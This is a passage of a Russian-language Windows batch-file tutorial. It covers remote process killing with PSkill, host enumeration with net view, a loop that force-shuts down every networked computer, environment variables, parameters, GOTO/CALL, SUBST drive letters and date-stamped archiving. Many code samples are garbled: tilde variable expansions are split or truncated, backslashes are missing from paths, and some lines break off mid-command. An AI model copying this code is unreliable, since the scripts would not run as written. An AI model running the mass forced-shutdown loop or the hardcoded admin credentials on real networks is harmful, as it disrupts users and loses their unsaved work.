net send ADMINCOMP Запущено %1 — %IPFULL%
rem И завершим приложение с помощью PSkill
pskill \%IPFULL% %1
:REZULT1
rem Сформируем следующий IP-адрес
set /A IPLAST=%IPLAST% + 1
rem Перейдем на выполнение следующего шага
GOTO M0
rem Завершение работы
:endjob
exit
В заключение добавлю, что для того, чтобы этот скрипт работал, PSlist.exe и PSkill.exe должны быть доступны в путях
поиска исполняемых файлов, например в каталоге WINDOWSSYSTEM32. Пользователь, запускающий его, должен обладать правами администратора по отношению к сканируемым компьютерам.
И, если текущий пользователь таковым не является, то в параметры запуска утилит PSlist.exe и PSkill.exe нужно добавить ключи, задающие
имя пользователя и пароль.
Поиск компьютеров с запущенным приложением по списку
В предыдущем примере использовался прямой перебор IP-адресов компьютеров в
локальной сети, что не всегда удобно, поскольку в процедуру опроса оказываются
вовлечены и выключенные компьютеры. Решим задачу другим способом. Создадим текстовый
файл со списком компьютеров и опросим их по этому списку.
Список можно получить из сетевого окружения с использованием команды:
net.exe view > comps.txt
После выполнения такой команды файл comps.txt будет содержать список
следующего вида:
Имя сервера Заметки
< 2 пустых строки >
——————————————————————————-
\AB1
\AB2
\ALEX
\BUHCOMP
\PC2
\SA
\SERVER
Команда выполнена успешно.
Обрабатывать содержимое этого текстового файла будем с помощью команды
FOR
с ключом /F:
FOR /F [«ключи»] %переменная IN (имя файла) DO команда [параметры]
Данная команда позволяет получить доступ к строкам в текстовом файле с использованием ключей:
skip=n — пропустить n строк от начала файла (в нашем случае — 4 строки)
eol=< символ > — не использовать строки, начинающиеся с заданного символа.
(в нашем случае — пропустить последнюю строку, начинающуюся с символа «К» — «Команда выполнена успешно»
tokens=n — брать для обработки n-е слово в строке (в нашем случае — 1-е слово)
Окончательный вид команды:
FOR /F «eol=К skip=4 tokens=1 » %%I IN (comps.txt) DO (
pslist.exe -u admin -p pass %%I %1
IF NOT ERRORLEVEL 1 net.exe send ADMINCOMP %%i %1
)
Обратите внимание —
в пакетных файлах для переменных команды FOR используется два знака процента (запись
%%переменная вместо %переменная) и имена переменных
учитывают регистр букв (%i отличается от %I).
Работать это будет следующим образом — пропускаются первые 4 строки текстового файла
со списком компьютеров, и далее в цикле переменной I присваивается значение первого
слова (текст от начала строки до разделителя — пробела), выполняется утилита
PSlist.exe, для которой в качестве имени компьютера используется значение этой переменной.
Если ERRORLEVEL менее 1 — задача с искомым именем присутствует в списке процессов и
выполняется отправка сообщения с помощью NET SEND.
Окончательное содержимое командного файла:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
REM
REM Создадим текстовый файл comps.txt со списком компьютеров с помощью NET.EXE VIEW
net view /DOMAIN:MyDomain > comps.txt
REM
REM FOR /F «параметры» — использование данных из файла
REM eol=К — не использовать строки, начинающиеся с «К» — «Команда выполнена успешно»
REM skip=4 — пропустить первые 4 строки в файле
REM tokens=1 — брать для обработки 1-е слово в строке
REM
FOR /F «eol=К skip=4 tokens=1 » %%i in (comps.txt) do (
pslist.exe -u admin -p pass %%i %1
IF NOT ERRORLEVEL 1 net.exe send %COMPUTERNAME% Компьютер — %%i процесс — %1
)
Выключение компьютеров по списку, созданному на основе сетевого окружения.
Предыдущий пример натолкнул меня на мысль сделать пакетный файл для быстрого
выключения всех компьютеров в сети. Выключение производится утилитой PsShutdown.exe
(описание в статье «Утилиты пакета PSTools» ). Как и в предыдущем примере,
сначала создается файл со списком компьютеров на основе сетевого окружения, а затем
выполняется их поочередное выключение, при условии, что компьютер не свой (иначе он может
выключиться до окончания выполнения командного файла). Содержимое файла:
rem @echo off
REM Здесь нужно задать
REM имя домена или рабочей группы для которых строится список машин для выключения
set MyDomain=имя домена
REM
REM Создадим текстовый файл comps.txt со списком компьютеров с помощью NET VIEW
net view /DOMAIN:%MyDomain% > comps.txt
REM
REM FOR /F «параметры» — использование данных из файла
REM eol=К — не использовать строки, начинающиеся с «К» — «Команда выполнена успешно»
REM skip=4 — пропустить первые 4 строки в файле
REM tokens=1 — брать для обработки 1-е слово в строке
FOR /F «eol=К skip=4 tokens=1 » %%i in (comps.txt) do (
REM Свой компьютер выключать не будем
REM Если имя компьютера не равно COMPUTERNAME — выключаем
IF /I %%i NEQ %COMPUTERNAME% psshutdown -k -t 0 %%i
)
Вам нужно только подредактировать строку:
set MyDomain=
указав имя домена и, при необходимости, добавить параметры -u -p для psshutdown.exe .
В реальной жизни из списка выключаемых компьютеров нужно
исключить несколько штук, для чего удобно использовать команду
FIND в
цепочке с net.exe в скрипте формирования списка на основе сетевого окружения. Данная команда
используется для поиска строк в текстовом файле по шаблону. Ключ /V используется для поиска строк
не совпадающих с шаблоном. Для выключения компьютеров, исключая server1…server4
удобно использовать такой вариант:
net view | find «\» | find /v «сервер1» | find /v «сервер2» | find /v «сервер3» | find /v «сервер4» > comps.txt
FOR /F «tokens=1 » %%i in (comps.txt) do shutdown.exe -f -s -m %%i
http://ab57.ru/cmd.html
Командные файлы Windows
Общие сведения о командном процессоре Windows.
Командные файлы (пакетные файлы, скрипты, сценарии, ”батники”) — это обычные текстовые файлы с расширением .bat или .cmd , строки которых представляют собой специальные команды командного процессора (интерпретатора команд ) и/или имена исполняемых файлов с параметрами. Командный процессор – это специальная программа, являющаяся обязательным элементом практически любой операционной системы, главным назначением которой, является предоставление пользователю возможности выполнения определенных программ без их компиляции и создания исполняемых файлов. Для операционных систем DOS и Windows9X в качестве интерпретатора команд использовался командный процессор command.com , для всех остальных ОС семейства Windows ( NT/2k/XP/Vista/7/8/10 и старше) — cmd.exe .
Несмотря на непрерывное совершенствование средств создания и выполнения сценариев с использованием объектно-ориентированных языков, обычная командная строка и простые командные файлы, по-прежнему остаются основным инструментом для выполнения рутинных действий, диагностики сетевых проблем, автоматизации процессов резервного копирования и т.п. При всех недостатках реализации командного процессора в Windows, достойной альтернативы ему нет, и очевидно в ближайшем будущем, не будет.
Как уже упоминалось выше, командный файл – это обычный текстовый файл с набором команд, которые последовательно выполняются командным процессором CMD Windows. Строки командных файлов могут содержать специфические команды самого процессора команд (FOR, ECHO, REM и т.п.) или имена исполняемых модулей (net.exe, regedit.exe, sc.exe). Командный процессор может быть запущен в интерактивном режиме через Пуск — Выполнить — CMD.EXE . В данном режиме, вы увидите окно CMD.EXE (окно консоли ) с приглашением к вводу команд. Список большинства консольных команд можно получить введя команду:
HELP
Справочную информацию по конкретной команде можно получить, указав ее название в качестве параметра команды HELP:
HELP Имя команды
Если вы работаете в русифицированной версии Windows, то учтите, что в среде командного процессора символы национального алфавита используются в DOS-кодировке. Для переключения между кодовыми страницами Windows и DOS используется команда
CHCP номер страницы
CHCP 866 — использовать кодовую страницу 866 (DOS)
CHCP 1251 — использовать кодовую страницу 1251 (WINDOWS)
Для просмотра и редактирования командных файлов, содержащих символы русского алфавита нужно использовать редактор с поддержкой DOS-кодировки. Если вы используете стандартное приложение «Блокнот» (notepad.exe), то для правильного отображения символов русского алфавита нужно выбрать шрифт Terminal , с помощью меню Правка — Шрифт.
Внешний вид окна CMD.EXE (консоли Windows) можно изменить с помощью команды
В качестве аргументов для команды используются 2 шестнадцатеричные цифры, задающие цвет фона и цвет символа.
COLOR F0 — символы белого цвета на черном фоне (используется по умолчанию).
COLOR 0F — черные символы на белом фоне.
COLOR 0E — светло-желтые символы на черном фоне.
HELP COLOR — подсказка для команды COLOR.
Работа с командным процессором предполагает использование двух стандартных устройств — устройства ввода (клавиатуры) и устройства вывода (дисплей). Однако, имеется возможность изменить стандартно используемые устройства ввода-вывода с помощью специальных символов — символов перенаправления
> — перенаправление вывода
— перенаправление ввода
Для вывода справки не на экран а, например, в файл с именем help.txt, можно использовать следующую команду:
HELP > help.txt
При выполнении данной команды, в текущем каталоге будет создан файл с именем help.txt , содержимым которого будет результат вывода команды HELP. Если файл help.txt существовал на момент выполнения команды, его содержимое будет перезаписано. Для того, чтобы дописать данные в конец существующего файла, используют удвоение символа перенаправления вывода — «>>»
HELP GOTO > myhelp.txt — в файл myhelp.txt будет выдана справка по использованию команду GOTO
HELP COLOR >> myhelp.txt — в конец файла myhelp.txt будет дописана справка по использованию команды COLOR
Простейший пример перенаправления ввода:
cmd.exe — командный процессор не будет ожидать ввода команд с клавиатуры, а считает их из файла commands.txt . Фактически, указанный текстовый файл в данном случае является командным файлом.
При запуске командного процессора можно указать конкретную команду в качестве аргумента командной строки:
cmd.exe /C HELP FOR — выполнить команду HELP FOR и завершиться (параметр командной строки или ключ /C )
cmd.exe /K HELP FOR — выполнить команду HELP FOR и перейти в режим ожидания дальнейшего ввода команд (ключ /K )
Подробную справку по использованию cmd.exe можно получить, введя в качестве аргумента ключ /?
Кроме символов перенаправления ввода-вывода в командной строке могут использоваться символы объединения команд — & (амперсанд) и | (вертикальная черта)
& — одиночный амперсанд используется для разделения нескольких команд в одной командной строке.
команда1 & команда2 — выполняется первая команда, затем вторая команда.
&& — удвоенный амперсанд между двумя командами, означающий условное выполнение второй команды. Она будет выполнена, если код завершения (или код возврата) первой команды равен нулю, т.е. команда выполнена успешно. Успешность выполнения команды определяется значением специальной переменной среды ERRORLEVEL.
команда1 && команда2 — выполняется команда1 , а команда2 выполняется, только если первая была выполнена успешно.
|| — двойнвя вертикальная черта между командами. Означает условное выполнение второй команды. Если первая команда завершилась с кодом возврата не равным нулю (неуспешно), то выполняется команда, следующая за двойной вертикальной чертой.
команда1 || команда2 — если команда1 выполнена неуспешно, то запускается на выполнение команда2
Команду, следующую после знаков объединения, не нужно заключать в двойные кавычки, иначе командный процессор удвоит их и сообщит об ошибке. Выполнение командной строки
cmd.exe /C «HELP IF» & ”HELP IF”
Завершится выполнением первой команды и сообщением об ошибке для второй:
«»HELP» не является внутренней или внешней командой, исполняемой программой или пакетным файлом.
Файлы с расширением .bat или .cmd в среде Windows стандартно открываются командным процессором аналогично рассмотренному выше примеру с перенаправлением ввода, когда последовательность команд считывается не с устройства ввода, а из текстового файла. Заранее подготовив набор команд, реализующих определенный сценарий выполнения конкретной задачи, пользователь может автоматизировать рутинные операции по обслуживанию системы, резервному копированию, взаимодействию по сети, перезагрузке, выключению питания и многое другое.
Использование переменных в командных файлах.
При работе с командными файлами, очень важное значение имеет такой инструмент как переменные окружения (environments) — переменные, значения которых определяют среду, в которой выполняются команда или пакетный файл. Часто их называют переменными среды. Значения, принимаемые этими переменными формируются при загрузке Windows, регистрации пользователя в системе, старте или завершении некоторых приложений, и, кроме того, могут быть заданы с помощью специальной команды SET
переменная — имя переменной среды.
строка — строка символов, присваиваемая указанной переменной.
Например, командная строка
SET myname=Vasya
создает переменную myname , принимающую значение Vasya .
Значение, присвоенное какой-либо переменной, доступно для обработки в командной строке или в командном файле с использованием ее имени, заключенного в знаки процента — % . Наглядный пример — команда выдачи текста на дисплей ECHO в виде:
ECHO date — выведет на экран слово «date», а команда
ECHO %date% выведет на экран значение переменной date — текущую дату в формате операционной системы.
Грамотное использование стандартных переменных окружения позволяют создавать командные файлы, которые будут одинаково выполняться на разных компьютерах, независимо от их конкретной конфигурации и пользовательских настроек. На практике, с помощью команды SET обычно задается и модифицируется путь поиска исполняемых программ — переменная окружения PATH .
SET PATH=C:Windows; C:windowssystem32
После выполнения данной команды, поиск исполняемых файлов будет выполняться в каталоге C:Windows , и, если результат неуспешен, в C:windowssystem32
При необходимости выполнить программу, например, myedit.exe , размещенную в каталоге C:NewProgs необходимо либо указать полный путь исполняемого файла, либо сделать текущим каталогом каталог с программой и использовать только его имя. Если в командной строке не задан полный путь, а только имя исполняемого файла — myedit.exe то сначала будет выполняться поиск файла myedit.exe в текущем каталоге, и если он не будет найден — в каталогах, список которых определяется значением переменной PATH. Символ ; является разделителем элементов в списке путей поиска. Если в приведенном примере, текущим каталогом не является C:NewProgs , и в остальных каталогах, заданных значением переменной PATH. нет исполняемого файла myedit.exe , то запуск приложения myedit.exe завершится ошибкой. Однако, если модифицировать значение переменной PATH, добавив в нее требующийся каталог, то указание полного пути исполняемого файла становится необязательным. Команда
SET PATH=C:NewProgs;%path%
изменит текущее значение PATH, добавив каталог C:NewProgs в начало списка. Для добавления каталога в конец списка используется несколько иная конструкция:
SET PATH=%path%; C:NewProgs
Выполнение команды SET без параметров позволяет получить текущие значения переменных окружения:
NUMBER_OF_PROCESSORS=1 — количество процессоров
OS=Windows_NT- тип ОС
Path=C:WINDOWSsystem32; C:WINDOWS;C:Program FilesFar — путь поиска исполняемых файлов.
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE; .JS;.JSE;.WSF;.WSH — расширения для исполняемых файлов.
PROCESSOR_ARCHITECTURE=x86 — архитектура процессора.
PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, AuthenticAMD — идентификатор процессора.
PROCESSOR_LEVEL=6 — уровень (номер модели) процессора.
PROCESSOR_REVISION =0801 — версия процессора.
ProgramFiles=C:Program Files — путь к папке «Program Files»
PROMPT=$P$G — формат приглашения командной строки $P — путь для текущего каталога $G — знак «>».
SystemDrive=C: — буква системного диска.
SystemRoot= C:WINDOWS — каталог ОС Windows.
Значения некоторых переменных по команде SET не отображаются, хотя и присутствуют в системе. В основном, это переменные, принимаемые значения которых динамически изменяются:
%CD% — Принимает значение строки текущего каталога.
%DATE% — Принимает значение текущей даты.
%TIME% — Принимает значение текущего времени.
%RANDOM% — Принимает значение случайного десятичного числа в диапазоне 1 -32767.
%ERRORLEVEL% — Принимает текущее значение кода завершения задачи ERRORLEVEL
%CMDEXTVERSION% — Принимает значение версии командного процессора CMD.EXE для расширенной обработки команд.
%CMDCMDLINE% — Принимает значение строки, которая вызвала командный процессор.
Для просмотра текущего значения какой-либо переменной обычно используется команда:
ECHO %переменная%
ECHO %CD% — отобразить имя текущего каталога
ECHO %TIME% — отобразить текущее время
ECHO %ERRORLEVEL% — отобразить значение переменной ERRORLEVEL, специальной переменной, значение которой является индикатором результата выполнения предыдущей команды.
Значения, принимаемые переменными окружения, могут быть расширены с помощью специального признака — символа «
» , что позволяет получить их частичное значение, или изменить его подменой какой-либо части. Практические примеры использования расширений переменных будут рассмотрены ниже.
Значения переменных, установленных командой SET действительны только для текущего сеанса командной строки. Для создания постоянно действующих пользовательских и системных переменных окружения используется специальная команда SetX , позволяющая записывать имена и значения переменных в реестр. Подробное описание команды SetX имеется в разделе Список команд CMD Windows.
Передача параметров командному файлу.
Очень полезной особенностью работы с командными файлами является возможность получать значения параметров командной строки и использовать их в операциях внутри самого командного файла.
BAT-файл параметр1 параметр2 . параметрN
В самом командном файле первый параметр будет доступен как значение переменной %1 , второй — %2 и т.п. Путь и имя самого командного файла доступно в качестве значения переменной %0 . Для примера создадим командный файл, задачей которого будет выдача на экран значений введенных при его запуске параметров командной строки. Для вывода текста на экран используется команда ECHO текст , однако если «текст» заменить на %0, — то будет выдано имя командного файла, %1 — первый аргумент, заданный в строке запуска, %2 — второй и т.д.
Создаем, например, командный файл params.bat следующего содержания:
echo off echo Это командный файл %0
echo Первый параметр=%1
echo Второй параметр=%2
echo Третий параметр = %3
и запускаем его на выполнение следующей командой:
params.bat FIRST second «two words»
Параметры командной строки, содержащие пробелы должны заключаться в двойные кавычки.
В первой строке приведенного выше командного файла используется команда echo off , предназначенная для того, чтобы обрабатываемые командным процессором строки не выдавались на экран.
При обработке входных параметров необходимо знать, были ли они вообще заданы в командной строке. Для проверки наличия каких-либо входных параметров, передаваемых командному файлу, можно проверить, является ли значение переменной %1 пустым, что можно сделать, заключив ее, например в двойные кавычки, и проверив полученный результат на наличие этих кавычек, следующих подряд:
if «%1» EQU «» goto error
.
.
:error
Echo Должен быть задан хотя бы один входной параметр
exit
В командных файлах большого размера трудно обойтись без справочной информации в виде комментариев, для чего используется конструкция
REM пробел текст
Строки, начинающиеся с REM пробел , считаются комментариями и командным процессором игнорируются.
rem ECHO OFF выключает режим вывода содержания строк командного rem файла на экран
REM будет выводиться только результат их выполнения.
ECHO OFF
echo Первый параметр=%1
echo Второй параметр=%2
echo Третий параметр = %3
Если к имени команды первым символом добавляется @ , то независимо от режима ECHO (ON или OFF), вывод обрабатываемой строки не выполняется. Попробуйте в данном примере «ECHO OFF» заменить на «@ECHO OFF» — результат говорит сам за себя. Строка, которая выключает режим вывода, не будет выдаваться на экран. Вывод содержимого обрабатываемых строк ( эхо ) на экран устанавливается по команде ECHO ON и, обычно, используется в целях диагностики.
rem ECHO ON включает режим вывода содержания строк командного rem файла на экран
REM будет сама командная строка и результат ее выполнения,
REM но строки, начинающиеся символом @ выводиться не будут ECHO ON
@echo Первый параметр=%1
@echo Второй параметр=%2
@echo Третий параметр = %3
Переходы и метки.
В командных файлах можно использовать команды условного перехода, меняющие логику их работы в зависимости от возникновения определенных условий. В качестве иллюстрации создадим командный файл, целью которого будет присвоение заранее определенной буквы для съемных носителей. Условия таковы — есть 2 съемных диска, один из которых должен быть виден в проводнике как диск X: а второй — как диск Y: независимо от того, в какой порт USB они подключены и какие буквы присвоены им операционной системой. Для примера, будем считать, что реальные диски могут быть подключены как F: или G: Опознавание дисков будем выполнять по наличию файла с определенным именем (лучше всего такой файл сделать скрытым в корневом каталоге съемного диска и назвать его как-нибудь необычно):
Flashd1.let — на первом диске
Flashd2.let — на втором
Таким образом, задача командного файла заключается в том, чтобы проверить наличие на сменных дисках F: и G: файлов Flashd1.let или Flashd2.let и, в зависимости от того, какой из них присутствует, присвоить диску букву X: или Y:
Для поиска файла на диске воспользуемся командой IF EXIST :
IF EXIST имя_файла команда
В качестве команды, которая будет выполнена при удовлетворении условия используем SUBST , которая предназначена для сопоставления каталога и виртуального диска.
SUBST X: C: — — создать виртуальный диск X:, содержимым которого будет корневой каталог диска C:
Для решения поставленной задачи, создаем командный файл, например с именем setletter.bat , следующего содержания:
@ECHO OFF
IF EXIST G:flashd1.let SUBST X: G:
IF EXIST F:flashd1.let SUBST X: F:
IF EXIST G:flashd2.let SUBST Y: G:
IF EXIST F:flashd2.let SUBST Y: F:
После выполнения этого командного файла у вас появятся диски X: и Y:
Однако, если такой файл выполнить повторно, команда SUBST выдаст сообщение об ошибке — ведь диски X: и Y: уже существуют.
Поэтому, желательно обойти выполнение SUBST, если виртуальные диски X: и Y: уже созданы, или удалять их, используя SUBST с параметром -d перед подключением. Попробуем изменить командный файл setletter.bat с использованием команды перехода GOTO , осуществляющей передачу управления строке пакетного файла на указанную метку.
GOTO метка
В качестве метки используется строка символов, начинающаяся с двоеточия. Сделаем изменения в нашем командном файле, чтобы не возникало сообщений об ошибке:
@ECHO OFF
REM если не существует X: — то перейдем на метку SETX
IF NOT EXIST X: GOTO SETX
REM если существует X: — перейдем на проверку наличия Y:
GOTO TESTY
:SETX
IF EXIST G:flashd1.let SUBST X: G:
IF EXIST F:flashd1.let SUBST X: F:
:TESTY
REM если Y: существует — завершим командный файл.
IF EXIST Y: GOTO EXIT
IF EXIST G:flashd2.let SUBST Y: G:
IF EXIST F:flashd2.let SUBST Y: F:
REM выход из командного файла
:EXIT
exit
При выполнении измененного таким образом командного файла, сообщение об ошибке при выполнении SUBST исчезнет.
Конечно, данный пример не может считаться образцом программирования, но главная цель заключается не в написание оптимального командного сценария, а в демонстрации принципов использования меток и переходов. Во всех последующих примерах, насколько это возможно, используется именно такой подход — важна не оптимальность исходного текста, а его максимальная простота для понимания.
Одним из важнейших приемов при написании сложных командных файлов является анализ успешности выполнения конкретной команды или программы. Признаки ошибок при выполнении команд можно отслеживать, анализируя специальную переменную ERRORLEVEL , значение которой формируется при выполнении большинства программ. Обычно ERRORLEVEL равно нулю, если программа завершилась без ошибок и единице — при возникновении ошибки. Могут быть и другие значения, если они предусмотрены в выполняемой программе.
В качестве команды в строке командного файла можно использовать также командный файл. Причем, для передачи с возвратом обратно к точке выполнения вызывающего командного файла используется команда CALL . Попробуйте создать командный файл test.bat , следующего содержания:
@ECHO OFF
ECHO Вызов 1.bat
CALL 1.bat
ECHO Возврат.
В этом же каталоге, создайте второй файл под именем 1.bat , содержащий команду
PAUSE — приостановить выполнение командного файла до нажатия любой клавиши.
При выполнении командного файла test.bat будет выдано на экран сообщение
Вызов 1.bat
и управление получит командный файл 1.bat с одной единственной командой pause . После начатия клавиши на клавиатуре управление будет возвращено вызвавшему командному файлу на строку «ECHO Возврат.» и на экран будет выдано
Возврат.
Если же в файле test.bat убрать CALL, оставив «1.bat», то , выполнится командный файл 1.bat, и возврат в test.bat выполняться не будет.
Вызываемый командный файл может создавать переменные и присваивать им определенные значения, которые будут доступны для обработки в вызывающем файле. Попробуйте изменить файл test.bat следующим образом:
@ECHO OFF
ECHO Вызов 1.bat
CALL 1.bat
ECHO Получено из файла %MYFILE% значение MYNUMBER =%MYNUMBER%.
Вызываемый файл 1.bat изменим следующим образом:
@ECHO OFF
SET MYFILE=»Very good 1.bat»
SET MYNUMBER=99
Переменные вызываемого файла будут доступны в вызывающем файле.
Кстати, используя передачу управления командному файлу, можно организовать его зацикливание. Попробуйте добавить в конец файла test.bat строку:
Выйти из зацикливания командного файла можно по нажатию комбинации CTRL+Break .
Команда CALL может использоваться не только для вызова другого командного файла, для вызова внутренней подпрограммы. В этом случае в качестве аргумента используется не имя внешнего файла, а метка:
Примеры командных файлов.
Использование утилит командной строки и командных файлов нередко позволяют решить многие проблемы связанные с повседневной эксплуатацией компьютерной техники. Большинство системных администраторов и грамотных пользователей продолжают ими пользоваться, несмотря на то, что в Windows проявилось новое, более мощное и современное средство управления системой — WMI (Windows Management Instrumentation) и многофункциональная оболочка пользователя Power Shell . Очевидно, не в последнюю очередь, это обусловлено простотой реализации и достаточной эффективностью командной строки для решения повседневных задач обслуживания системы. Ниже приведены простые примеры с комментариями, которые демонстрируют некоторые возможности и способы применения .cmd и .bat
Своя команда для создания новых файлов.
В составе операционной системы Windows нет специальной команды для создания нового файла, но без нее можно легко обойтись несколькими способами:
Копирование с клавиатуры в файл
COPY CON myfile.txt
При выполнении этой команды данные с клавиатуры (стандартное устройство CON — консоль) будут заноситься в файл myfile.txt. Нажатие клавиши F6 или комбинации CTRL-Z завершит вывод.
ECHO 1 > myfile.txt
При выполнении этой команды будет создан файл myfile.txt, содержащий символ «1»
Комбинация перенаправления ввода и перенаправления вывода:
COPY CON > myfile.txt nul в файл. Использование устройства nul позволяет обойти стандартные операции ввода-вывода, которые для него реально не выполняются. При выполнении копирования с фиктивного устройства в файл будет создан пустой файл без каких-либо сообщений об ошибке.
COPY NUL myfile.txt
При работе в командной строке часто приходится создавать новые пустые файлы, поэтому, стоит подготовить свой командный файл (например, с именем nf.bat), а имя нового создаваемого файла передавать ему в качестве параметра при запуске.
@echo off
REM Создание пустого файла, имя которого задано в строке запуска
if «%1» EQU «» goto error
copy nul %1
goto exit
:error
ECHO ОШИБКА: Необходимо задать имя нового файла !
:exit
Для удобства использования, можно поместить этот командный в системный каталог (например, в C:windowssystem32) или любой другой, существующий в путях поиска, задаваемых значением переменной PATH). Теперь, в командной строке, находясь в любом каталоге можно одной командой создавать пустые файлы.
nf.bat myfile.txt — создать файл с именем myfile.txt в текущем каталоге.
nf.bat C:myfile.txt — создать файл в корневом каталоге диска C:
nf.bat «%USERPROFILE%myfile.txt» — создать файл в каталоге профиля текущего пользователя.
Возможность создания файлов в системных каталогах зависит от настроек безопасности системы и прав пользователя, в контексте учетной записи которого выполняется команда. Многие команды могут быть выполнены только пользователем с правами администратора.
Расширение командного файла (.bat) можно не набирать и команда еще больше упрощается:
В тексте командного файла присутствует проверка, задано ли имя создаваемого файла в командной строке (if «%1%» EQU «» goto error), и если не задано — выводится сообщение об ошибке и командный файл завершает свою работу.
В плане совершенствования функционала, можно добавить в этот командный файл проверку на существование файла с именем, указанным в командной строке и предупреждением пользователя о его возможной перезаписи.
Присвоение съемному диску одной и той же буквы.
Задача заключается в том, чтобы съемный USB диск (флэш диск) был доступен всегда под одной и той же буквой, независимо от того, на каком компьютере он используется и каким образом он был подключен. Для ее решения воспользуемся уже упоминаемой выше командой SUBST , но реализуем присвоение новой буквы диску с помощью подстановочного значения переменной %0 , создаваемой системой при каждом запуске командного файла.
Выберем для съемного диска желаемую букву, например — X.
Некоторые из переменных окружения, в том числе и переменная %0 , принимающая значение пути и имени выполняющегося командного файла, позволяют при определенной модификации с использованием специального признака — символа «
» , получить ее частичное значение (расширение переменной). Например, не полный путь файла, а только его имя, или каталог расположения, или букву диска, с которого он был запущен или еще около десятка различных элементов, связанных с подстановочными значениями переменной %0.
Имя диска, с которого был запущен командный файл доступно как переменная %
d0 .
Теперь создаем командный файл следующего содержания:
@echo off
subst X: %
что означает — создать виртуальный диск X:, которому сопоставлен логический диск, являющийся частью пути данного командного файла. Если такой файл записать на флэшку, и выбрать присваиваемую букву диска поближе к концу алфавита (чтобы не оказалась занятой другим реальным дисковым устройством) то после его запуска, в системе будет создаваться новый диск всегда под одной и той же буквой.
Дополнительное представление о подстановочных значениях переменной %0 можно получить из командного файла следующего содержания:
@echo off
ECHO ОБРАБАТЫВАЕТСЯ ФАЙЛ — %0
ECHO Дата/время создания/изменения командного файла — %
t0
ECHO Путь командного файла — «%
f0″
ECHO Диск командного файла — %
d0
ECHO Каталог командного файла — «%
p0″
ECHO Имя командного файла — %
n0
ECHO Расширение командного файла — %
x0
ECHO Короткое имя и расширение — %
s0
ECHO Атрибуты командного файла — %
a0
ECHO Размер командного файла — %
Создание архива, имя которого содержит дату и время.
Решим следующую задачу — нужно создать архив файлов, находящихся в каталоге C:Program FilesFAR. Имя архивного файла должно состоять из текущего времени (часы.минуты.секунды — ЧЧ.ММ.СС.rar), и помещен он должен в новый каталог, имя которого должно состоять из текущей даты (день.месяц.год — ДД.ММ.ГГГГ). Для архивирования будем использовать архиватор RAR. Формат запуска для создания архива:
a — команда создания архива.
-r — ключ, определяющий архивирование подкаталогов (т.к. в исходной папке есть подкаталоги).
Таким образом, для решения задачи нужно правильно создать имена и пути для RAR. Для чего воспользуемся следующими исходными данными:
и числового значения, определяющего группу символов из данных текущего значения переменной.
Данный пример, как и многие другие в этой статье, представляет собой не самую оптимальную, с точки зрения программирования конструкцию, и представлен в виде, максимально доступном для понимания. Набравшись опыта в написании командных файлов, вы можете переделать его, превратив, буквально в пару строк.
Дата, получаемая из переменной %DATE% при стандартных настройках региональных установок Windows 2000 выглядит следующим образом:
Пн 21.01.2005 — День недели(2 символа)-Пробел(1 символ)-дата(10 символов) — всего 13 символов.
В Windows XP/Vista/7-10 день недели отсутствует, что несколько упрощает обработку структуры даты. Для создания нового каталога в командной строке используется команда
MD имя каталога .
В нашем примере, имя каталога нужно получить из текущей даты. Создаем в памяти временную переменную VDATE и присваиваем ей значение переменной окружения DATE, без первых 3-х символов (Пн и пробел) — 20.01.2016:
В версиях Windows, где в значении принимаемом переменной DATE, отсутствует день недели (3 символа — «Пн «), значение VDATE получится не тем, что требуется. Чтобы не анализировать признаки наличия данного кода, можно воспользоваться и другим вариантом — не пропустить первые 3 символа (
3) от начала строки переменной DATE, а взять 10 символов от конца строки, указав число 10 со знаком «минус» — будет тот же результат, например, строка — 20.01.2016
set VDATE=%date:
Создаем каталог на диске C:, имя которого = текущая дата из переменной VDATE:
MD C:%VDATE%
После выполнения этой команды на диске C: будет создан каталог с именем 20.01.2016
Можно обойтись без лишних операторов, связанных с формированием значения переменной VDATE, которую я использовал для упрощения понимания структуры создаваемого имени каталога:
MD %DATE:
-10% — создать каталог, имя которого будет представлено в виде текущей даты ДД.ММ.ГГГГ
Время, получаемое из переменной %TIME% выглядит так :
14:30:59.93 — Часы, минуты, секунды, сотые доли секунды.
Сотые доли — это в имени файла архива, пожалуй, лишнее. Поэтому, создаем временную переменную VTIME и присваиваем ей текущее время без последних 3-х символов, т.е пропускаем 0 символов от начала и отсекаем 3 символа от конца. Количество пропущенных и отсекаемых символов разделяются запятой:
set VTIME=%time:
0,-3%
Теперь переменная VTIME принимает значение 14:30:59, но знак двоеточия ( : ) в имени файла использовать нельзя, это специальный символ, использующийся в именах устройств (диск C:). Поэтому, для получения допустимого имени файла нужно заменить недопустимый символ на любой другой, например, точку. Для замены символов используется знак » C:Program filesfar*.*»
Теперь можно создать командный файл с содержимым, обеспечивающим архивирование заданного каталога с использованием даты и времени в имени архива:
-10%
md c:%VDATE%
set VTIME=%time:
0,-3%
set VTIME=%VTIME::=.%
rar.exe a -r C:%VDATE%%VTIME%.rar «C:Program filesfar*.*»
Такой командный файл можно выполнять через автозагрузку, или как часть скрипта, при входе пользователя в домен, либо с помощью планировщика в заданное время, и у вас всегда будут в наличии упорядоченные по времени архивы критических данных.
Выполнение каких либо действий в заданный интервал времени.
Речь пойдет не о запуске командного файла в определенное время, а о выполнении какой-то его части только в определенный интервал времени, например, с 10:00 до 12:00. Решения данной задачи потребует сравнения текущего времени с указанным промежутком. Для примера, создадим командный файл, выполняющий запуск стандартного калькулятора Windows , только в том случае, если он выполняется в интервале времени от 10:00 до 12:00. Необходимо получить текущее время и выполнить проверку того, что оно не больше 12:00 и не меньше 10:00 .
Команда IF позволяет выполнить сравнение строк при использовании формата:
IF /I строка1 оператор_сравнения строка2 команда
где оператор_сравнения принимает следующие значения:
LEQ — меньше или равно
GEQ — больше или равно
а ключ /I , если он указан, задает сравнение текстовых строк без учета регистра. Этот обычно используется для сравнения текстовых строк в форме строка1==строка2 . Сравнения проводятся по общему типу данных, так что если строки 1 и 2 содержат только цифры, то обе строки преобразуются в числа, после чего выполняется их сравнение. Следовательно, для решения нашей задачи нужно сравнить строку из первых двух символов значения переменной TIME ( чч:мм:сс ) с заданным диапазоном :
REM Время меньше 12:00 — перейти на анализ второго условия, иначе — выход
0,2% lss 12 goto tst2
Rem Время больше 10:00 — перейти к выполнению, меньше — завершить командный файл выполнив exit
0,2% gtr 10 goto excalc
